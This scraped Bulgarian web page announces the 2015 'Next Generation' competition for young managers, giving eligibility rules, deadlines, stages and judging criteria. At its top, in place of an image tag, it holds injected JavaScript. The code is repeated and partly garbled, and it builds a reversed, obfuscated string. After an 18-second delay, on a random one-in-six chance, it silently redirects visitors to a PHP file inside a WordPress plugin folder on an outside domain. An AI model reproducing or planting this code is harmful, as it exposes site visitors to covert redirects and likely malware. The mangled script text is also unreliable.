$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-sofia.com/wp-content/uploads/2015/05/kapital1.jpg">$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-sofia.com/wp-content/uploads/2015/05/kapital1-300x168.jpg" width="300" height="168" />

Next Generation e национален конкурс на "Капитал" и "Кариери" за мениджъри и предприемачи до 35-годишна възраст. Той цели да отличи млади професионалисти с бизнес и предприемачески опит и лидерски потенциал. Оценяват се лично кариерно развитие, иновативност, отговорности, финансови резултати и постижения на сегашния пост.
 
Изисквания към кандидатите
- да са на възраст до 35 години включително
- да работят в България
- да заемат мениджърска позиция или да имат собствен бизнес
- да имат минимум 3 години трудов опит, от които поне 2 години опит на управленска позиция
- компанията, в която работят, да оперира от минимум 2 години и да няма задължения към държавата или служителите си
- да притежават бакалавърска или еквивалентна на нея степен от акредитиран университет
- да владеят английски език писмено и говоримо
 
Документи за кандидатстване
- попълнен формуляр за участие на английски език
- професионална биография на английски език със снимка
Формулярът за кандидатстване и прикачване на необходимите документи можете да намерите тук.
 
Краен срок за кандидатстване
31 май 2015 г., 00.00 часа
 
Първите 10 кандидати получават 3-месечен дигитален абонамент за в. "Капитал".

Номинации за NEXT Generation мениджър
Тази година за пръв път в рамките на конкурса е предвидена и възможност за номинации на NEXT Generation мениджър. Ако смятате, че познавате човек, който принадлежи към "следващото поколение" бизнес лидери и отговаря на общите изисквания към кандидатите, можете да попълните формуляра за номинации.

Краен срок за приемане на номинации
15 май 2015 г., 00.00 часа
След тази дата наш екип ще се свърже с номинираните, за да получи съгласието им да продължат напред в конкурса, както и за да изпратят всички необходими документи за участие, попълнени от останалите кандидати.
 
Етапи на оценяване
 
Етап 1
Кандидатстване (до 31 май 2015 г., 00.00 часа) и приемане на номинации (15 май 2015 г., 00.00 часа).
Номинираните кандидати ще бъдат уведомени в седмиците до края на срока за кандидатстване, за да подадат пълният комплект от документи за участие в конкурса.

Етап 2
Предварителна селекция на кандидатите според условията за участие и критериите за оценка в конкурса. Избират се 12 финалисти, които преминават в следващия етап.
Финалистите ще бъдат уведомени, че са във финалната селекция на конкурса в периода 1-7 юни 2015 г.
 
Етап 3
Интервюта на финалистите с журито на 12 юни.
Провеждат се на английски език.

Критерии за оценка
Оценката на кандидатите е сбор от критерии с различна тежест, сред които:
- професионални постижения и потенциал за развитие
- участие в иновативни и социални проекти
- мениджърски практики и визия за развитие на бизнеса и на собствената си кариера
- комуникационни умения
- репутация - лична и на представляваната организация

Членове на журито на конкурса NEXT Generation
Награди за победителите
NEXT Generation MBA Class

Източник: http://www.capital.bg/